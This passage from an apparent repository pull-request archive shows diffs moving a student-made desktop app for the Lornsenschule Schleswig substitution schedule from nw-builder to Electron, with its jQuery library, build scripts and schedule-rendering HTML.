text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Lb(Lb(a,r.ajaxSettings),b):Lb(r.ajaxSettings,a)},ajaxPrefilter:Jb(Fb),ajaxTransport:Jb(Gb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Bb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||qb.href)+"").replace(Eb,qb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(K)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Ib.protocol+"//"+Ib.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Kb(Fb,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Db.test(o.type),f=o.url.replace(zb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(yb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(sb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Ab,""),n=(sb.test(f)?"&":"?")+"_="+rb++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Hb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Kb(Gb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Mb(o,y,d)),v=Nb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Ob={0:200,1223:204},Pb=r.ajaxSettings.xhr();o.cors=!!Pb&&"withCredentials"in Pb,o.ajax=Pb=!!Pb,r.ajaxTransport(function(b){var c,d;if(o.cors||Pb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Ob[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r("<script>").prop({charset:a.scriptCharset,src:a.url}).on("load error",c=function(a){b.remove(),c=null,a&&f("error"===a.type?404:200,a.type)}),d.head.appendChild(b[0])},abort:function(){c&&c()}}}});var Qb=[],Rb=/(=)\?(?=&|$)|\?\?/;r.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=Qb.pop()||r.expando+"_"+rb++;return this[a]=!0,a}}),r.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h||"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(Rb,"$1"+e):b.jsonp!==!1&&(b.url+=(sb.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||r.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){void 0===f?r(a).removeProp(e):a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,Qb.push(e)),g&&r.isFunction(f)&&f(g[0]),g=f=void 0}),"script"}),o.createHTMLDocument=function(){var a=d.implementation.createHTMLDocument("").body;return a.innerHTML="<form></form><form></form>",2===a.childNodes.length}(),r.parseHTML=function(a,b,c){if("string"!=typeof a)return[];"boolean"==typeof b&&(c=b,b=!1);var e,f,g;return b||(o.createHTMLDocument?(b=d.implementation.createHTMLDocument(""),e=b.createElement("base"),e.href=d.location.href,b.head.appendChild(e)):b=d),f=B.exec(a),g=!c&&[],f?[b.createElement(f[1])]:(f=oa([a],b,g),g&&g.length&&r(g).remove(),r.merge([],f.childNodes))},r.fn.load=function(a,b,c){var d,e,f,g=this,h=a.indexOf(" ");return h>-1&&(d=r.trim(a.slice(h)),a=a.slice(0,h)),r.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(e="POST"),g.length>0&&r.ajax({url:a,type:e||"GET",dataType:"html",data:b}).done(function(a){f=arguments,g.html(d?r("<div>").append(r.parseHTML(a)).find(d):a)}).always(c&&function(a,b){g.each(function(){c.apply(this,f||[a.responseText,b,a])})}),this},r.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){r.fn[b]=function(a){return this.on(b,a)}}),r.expr.pseudos.animated=function(a){return r.grep(r.timers,function(b){return a===b.elem}).length};function Sb(a){return r.isWindow(a)?a:9===a.nodeType&&a.defaultView}r.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=r.css(a,"position"),l=r(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=r.css(a,"top"),i=r.css(a,"left"),j=("absolute"===k||"fixed"===k)&&(f+i).indexOf("auto")>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),r.isFunction(b)&&(b=b.call(a,c,r.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},r.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){r.offset.setOffset(this,a,b)});var b,c,d,e,f=this[0];if(f)return f.getClientRects().length?(d=f.getBoundingClientRect(),d.width||d.height?(e=f.ownerDocument,c=Sb(e),b=e.documentElement,{top:d.top+c.pageYOffset-b.clientTop,left:d.left+c.pageXOffset-b.clientLeft}):d):{top:0,left:0}},position:function(){if(this[0]){var a,b,c=this[0],d={top:0,left:0};return"fixed"===r.css(c,"position")?b=c.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),r.nodeName(a[0],"html")||(d=a.offset()),d={top:d.top+r.css(a[0],"borderTopWidth",!0),left:d.left+r.css(a[0],"borderLeftWidth",!0)}),{top:b.top-d.top-r.css(c,"marginTop",!0),left:b.left-d.left-r.css(c,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&"static"===r.css(a,"position"))a=a.offsetParent;return a||pa})}}),r.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c="pageYOffset"===b;r.fn[a]=function(d){return S(this,function(a,d,e){var f=Sb(a);return void 0===e?f?f[b]:a[d]:void(f?f.scrollTo(c?f.pageXOffset:e,c?e:f.pageYOffset):a[d]=e)},a,d,arguments.length)}}),r.each(["top","left"],function(a,b){r.cssHooks[b]=Na(o.pixelPosition,function(a,c){if(c)return c=Ma(a,b),Ka.test(c)?r(a).position()[b]+"px":c})}),r.each({Height:"height",Width:"width"},function(a,b){r.each({padding:"inner"+a,content:b,"":"outer"+a},function(c,d){r.fn[d]=function(e,f){var g=arguments.length&&(c||"boolean"!=typeof e),h=c||(e===!0||f===!0?"margin":"border");return S(this,function(b,c,e){var f;return r.isWindow(b)?0===d.indexOf("outer")?b["inner"+a]:b.document.documentElement["client"+a]:9===b.nodeType?(f=b.documentElement,Math.max(b.body["scroll"+a],f["scroll"+a],b.body["offset"+a],f["offset"+a],f["client"+a])):void 0===e?r.css(b,c,h):r.style(b,c,e,h)},b,g?e:void 0,g)}})}),r.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),r.parseJSON=JSON.parse,"function"==typeof define&&define.amd&&define("jquery",[],function(){return r});var Tb=a.jQuery,Ub=a.$;return r.noConflict=function(b){return a.$===r&&(a.$=Ub),b&&a.jQuery===r&&(a.jQuery=Tb),r},b||(a.jQuery=a.$=r),r});
+\ No newline at end of file
+diff --git a/app/main.js b/app/main.js
+new file mode 100644
+index 0000000..84c4afb
+--- /dev/null
++++ b/app/main.js
+@@ -0,0 +1,72 @@
++const {app, BrowserWindow, dialog} = require('electron')
++
++// Keep a global reference of the window object, if you don't, the window will
++// be closed automatically when the JavaScript object is garbage collected.
++let win
++
++function update () {
++ var feedUrl = 'https://ls-desktop.herokuapp.com/update/win32/:' + app.getVersion();
++ autoUpdater.setFeedURL(feedUrl);
++
++ autoUpdater.on('update-downloaded', function (event, releaseNotes, releaseName, releaseDate, updateUrl, quitAndUpdate) {
++
++ var index = dialog.showMessageBox(mainWindow, {
++ type: 'info',
++ buttons: [i18n.__('Restart'), i18n.__('Later')],
++ title: "Typetalk",
++ message: i18n.__('The new version has been downloaded. Please restart the application to apply the updates.'),
++ detail: releaseName + "\n\n" + releaseNotes
++ });
++
++ if (index === 1) {
++ return;
++ }
++
++ quitAndUpdate();
++ });
++}
++
++function createWindow () {
++ // Create the browser window.
++ win = new BrowserWindow({width: 800, height: 600})
++
++ // and load the index.html of the app.
++ win.loadURL(`file://${__dirname}/index.html`)
++
++ // Open the DevTools.
++ //win.webContents.openDevTools()
++
++ // Emitted when the window is closed.
++ win.on('closed', () => {
++ // Dereference the window object, usually you would store windows
++ // in an array if your app supports multi windows, this is the time
++ // when you should delete the corresponding element.
++ win = null
++ })
++}
++
++// This method will be called when Electron has finished
++// initialization and is ready to create browser windows.
++// Some APIs can only be used after this event occurs.
++app.on('ready', createWindow)
++
++// Quit when all windows are closed.
++app.on('window-all-closed', () => {
++ // On macOS it is common for applications and their menu bar
++ // to stay active until the user quits explicitly with Cmd + Q
++ if (process.platform !== 'darwin') {
++ app.quit()
++ }
++})
++
++app.on('activate', () => {
++ // On macOS it's common to re-create a window in the app when the
++ // dock icon is clicked and there are no other windows open.
++ if (win === null) {
++ createWindow()
++ }
++ update();
++})
++
++// In this file you can include the rest of your app's specific main process
++// code. You can also put them in separate files and require them here.
+\ No newline at end of file
+diff --git a/app/package.json b/app/package.json
+index 7298edc..fa0d33f 100644
+--- a/app/package.json
++++ b/app/package.json
+@@ -1,24 +1,10 @@
+ {
+- "name": "ls-vertretungsplan-desktop",
+- "version": "0.0.1",
+- "description": "",
+- "main": "index.html",
+- "scripts": {
+- "test": "echo \"Error: no test specified\" && exit 1"
+- },
++ "name": "ls_vertretungsplan_desktop",
++ "version": "0.0.2",
++ "description": "Eine Anwendung die den Vertretungsplan auf dem Desktop anzeigt",
++ "main": "./main.js",
+ "author": "Marcel Radzio <info@nordgedanken.de>",
+ "license": "",
+- "window": {
+- "title": "Lornsenschule Vertretungsplan",
+- "icon": "LS.ico",
+- "toolbar": true,
+- "frame": true,
+- "width": 800,
+- "height": 600,
+- "position": "center",
+- "min_width": 400,
+- "min_height": 200
+- },
+ "dependencies": {
+ "request": "^2.69.0"
+ }
+diff --git a/build.cmd b/build.cmd
+index 0de35dc..280a236 100644
+--- a/build.cmd
++++ b/build.cmd
+@@ -1 +1,2 @@
+-node build.js
++electron-packager app --all --out prebuild/
++node build.js
+\ No newline at end of file
+diff --git a/build.js b/build.js
+index 0c8b969..e459fad 100644
+--- a/build.js
++++ b/build.js
+@@ -1,18 +1,9 @@
+-var NwBuilder = require('nw-builder');
+-var nw = new NwBuilder({
+- files: './app/**', // use the glob format
+- platforms: ['win', 'linux'],
+- version: 'latest',
+- winIco: 'LS.ico'
+-});
++var electronInstaller = require('electron-winstaller');
++resultPromise = electronInstaller.createWindowsInstaller({
++ appDirectory: 'prebuild/ls_vertretungsplan_desktop-win32-x64',
++ outputDirectory: 'build',
++ authors: 'Marcel Radzio',
++ exe: 'ls_vertretungsplan_desktop.exe'
++ });
+
+-//Log stuff you want
+-
+-nw.on('log', console.log);
+-
+-// Build returns a promise
+-nw.build().then(function () {
+- console.log('all done!');
+-}).catch(function (error) {
+- console.error(error);
+-});
++resultPromise.then(() => console.log("It worked!"), (e) => console.log(`No dice: ${e.message}`));
+\ No newline at end of file
+diff --git a/package.json b/package.json
+index c56376d..d3646a0 100644
+--- a/package.json
++++ b/package.json
+@@ -1,8 +1,11 @@
+ {
+- "name": "ls-vertretungsplan-desktop",
+- "version": "0.0.0",
+- "dependencies": {},
++ "name": "ls_vertretungsplan_desktop",
++ "version": "0.0.2",
++ "description": "Eine Anwendung die den Vertretungsplan auf dem Desktop anzeigt",
++ "author": "Marcel Radzio <info@nordgedanken.de>",
++ "license": "",
+ "devDependencies": {
+- "nw-builder": "^2.2.0"
++ "electron": "^1.3.4",
++ "electron-winstaller": "^2.3.4"
+ }
+ }
diff --git a/pulls/3.json b/pulls/3.json
@@ -0,0 +1,18 @@
+{
+ "number": 3,
+ "title": "Change to Electron",
+ "state": "merged",
+ "diff_file": "3.diff",
+ "author": "MTRNord",
+ "created_at": "2016-08-28T18:17:47Z",
+ "closed_at": "2016-08-28T18:17:51Z",
+ "merged_at": "2016-08-28T18:17:51Z",
+ "base_ref": "develop",
+ "head_ref": "electron",
+ "labels": [],
+ "assignees": [],
+ "requested_reviewers": [],
+ "body": "",
+ "comments": [],
+ "review_comments": []
+}
diff --git a/pulls/3.md b/pulls/3.md
@@ -0,0 +1,13 @@
+# PR #3 Change to Electron
+
+- **Status:** merged
+- **Author:** @MTRNord
+- **Created:** 2016-08-28T18:17:47Z
+- **Branch:** electron → develop
+- **Merged:** 2016-08-28T18:17:51Z
+- **Diff:** [3.diff](./3.diff)
+
+---
+
+_No description._
+
diff --git a/pulls/4.diff b/pulls/4.diff
@@ -0,0 +1,270 @@
+diff --git a/.codeclimate.yml b/.codeclimate.yml
+index 049d01f..0ae2e96 100644
+--- a/.codeclimate.yml
++++ b/.codeclimate.yml
+@@ -12,7 +12,8 @@ engines:
+ fixme:
+ enabled: true
+ ratings:
+- paths: []
+-exclude_paths:
++ paths:
++ - app/**
++exclude_paths:
+ - "app/js/**"
+ - "app/css/**"
+diff --git a/README.md b/README.md
+index 2442dc1..f817f28 100644
+--- a/README.md
++++ b/README.md
+@@ -1,12 +1,12 @@
+ # ls-vertretungsplan-desktop
+ UNOFFICIAL Desktop App for the schedule of Lornsenschule, Schleswig
+
+-# NOT WORKING FOR YOU YET!!!!!!
+-This Desktop App uses an API by @johan12345 that is NOT managed by me! I don't have the right to use it here so I don't provide the link to it or an compiled version of it.
++# Info about the API
++This Desktop App uses an API by @johan12345 that is NOT managed by me. I am allowed to use it and to have it in the Git Source. To see the APP made by @johan12345 take a look at https://ls.vertretungsplan.me
+
+ # How to Build (If you find the URL to the API ^^)
+
+ 1. Clone the Repository
+ 2. Run `npm install`
+ 3. If You use Windows run `build.cmd` otherwise go to 4
+-4. Everybody else go into the app directory and run `npm install` and now run `node build.js` in the root
+\ No newline at end of file
++4. Everybody else go into the app directory and run `npm install` and now run `node build.js` in the root
+diff --git a/app/index.html b/app/index.html
+index 31739b7..0ea679c 100644
+--- a/app/index.html
++++ b/app/index.html
+@@ -11,38 +11,52 @@
+ <title>Lornsenschule Vertretungsplan</title>
+ </head>
+ <body>
+- <div class="bmd-layout-container">
++ <div class="bmd-layout-container" id="Main">
+ <main class="bmd-layout-content">
+- <div class="container" id="representations">
++ <div class="container">
+ <h1 id="school"></h1></br>
+
++ <ul class="nav nav-tabs" id="Tabs">
++ <li class="active"><a data-target="#vertretungen" data-toggle="tab">Profile</a></li>
++ <li><a data-target="#messages" data-toggle="tab">Messages</a></li>
++ </ul>
++
++ <div class="tab-content">
++ <div class="tab-pane active" id="vertretungen"></div>
++ <div class="tab-pane" id="messages"></div>
++ </div>
++
+ </div>
+ </main>
+ </div>
+
+ <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
+ <script>
++ /*
++ Refresh Button Snippets:
++ var remote = require('electron').remote
++ remote.getCurrentWindow().reload()
++ */
+ window.$ = window.jQuery = require('./js/jquery-3.1.0.min.js');
+- var request = require("request")
+- //<!-- http://THIS_IS_AN_SECRET_DOMAIN -->
+- var url = "http://THIS_IS_AN_SECRET_DOMAIN/vertretungsplan?" +
+- "school=Schleswig_Lornsenschule" +
+- "&v=1337"
++ var request = require('request')
++ , cachedRequest = require('cached-request')(request)
++ , cacheDirectory = "cache";
++ var url = "https://api.vertretungsplan.me/" +
++ "v2/" +
++ "substitutionschedules/" +
++ "Schleswig_Lornsenschule/" +
++ "schulervertretungsplan" +
++ "?client=desktop_marcel"
+
+- if (typeof jQuery == 'undefined') {
+- console.warn("JQUERY NOT LOADED!!!");
+- }
+-
+- request({
++ cachedRequest({
+ url: url,
+- json: true
++ json: true,
++ ttl: 1800000
+ }, function (error, response, body) {
+-
+ if (!error && response.statusCode === 200) {
+- //var lsJson = JSON.parse(body);
+- document.all.school.innerHTML = body.schoolName + ' Vertretungsplan'; // Print the json response
+- for (var key in body.tage) {
+- if (body.tage.hasOwnProperty(key)) {
++ document.all.school.innerHTML = body.schoolId.replace(/_/g, ' ') + ' Vertretungsplan'; // Print the json response
++ for (var key in body.days) {
++ if (body.days.hasOwnProperty(key)) {
+ //////////////////////////////////////////////////////////////
+ //////////////////////////////////////////////////////////////
+ // //
+@@ -51,49 +65,50 @@ <h1 id="school"></h1></br>
+ // //
+ //////////////////////////////////////////////////////////////
+ //////////////////////////////////////////////////////////////
+- if (key == 1) {
+- classes = body.tage[key].klassen
+- for (var key in classes) {
+- if (classes.hasOwnProperty(key)) {
+- klassen = classes[key]
+- klasse = klassen.klasse
+- $("#representations").append('<h3>' + klasse + '</h3>')
+- representations = classes[key].vertretung
+- for (var key in representations) {
+- if (representations.hasOwnProperty(key)) {
+- representations_details = representations[key]
+- var reg = new RegExp('[-]');
+- lesson = representations_details.lesson
+- representation_type = representations_details.type
+- text = representations_details.text
+- if (representation_type == "Vertretung") {
++ if (key == 0) {
++ date = body.days[key].dateString
++ substitutions = body.days[key].substitutions
++ substitutions.sort(function(a, b){
++ if (a.classes < b.classes) return -1;
++ if (b.classes < a.classes) return 1;
++ return 0;
++ })
++ for (var key in substitutions) {
++ if (substitutions.hasOwnProperty(key)) {
++ klasse = substitutions[key].classes
++ if ($("#klasse").attr("klasse") != klasse) {
++ $("#vertretungen").append('<h3 id="klasse" klasse="' + klasse + '">' + klasse + '</h3>')
++ }
++ var reg = new RegExp('[-]');
++ lesson = substitutions[key].lesson
++ substitutions_type = substitutions[key].type
++ text = substitutions[key].text
++ if (substitutions_type == "Vertretung") {
++ if (lesson.match(reg)) {
++ $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }else{
++ $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }
++ }else{
++ if (substitutions_type == "Betreuung") {
++ if (lesson.match(reg)) {
++ $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }else{
++ $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }
++ }else{
++ if (substitutions_type == "Unterricht geändert") {
+ if (lesson.match(reg)) {
+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+ }else{
+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+ }
+ }else{
+- if (representation_type == "Betreuung") {
++ if (substitutions_type == "Lehrertausch") {
+ if (lesson.match(reg)) {
+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+- }else{
+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+- }
+- }else{
+- if (representation_type == "Unterricht geändert") {
+- if (lesson.match(reg)) {
+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+- }else{
+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+- }
++ $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+ }else{
+- if (representation_type == "Lehrertausch") {
+- if (lesson.match(reg)) {
+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
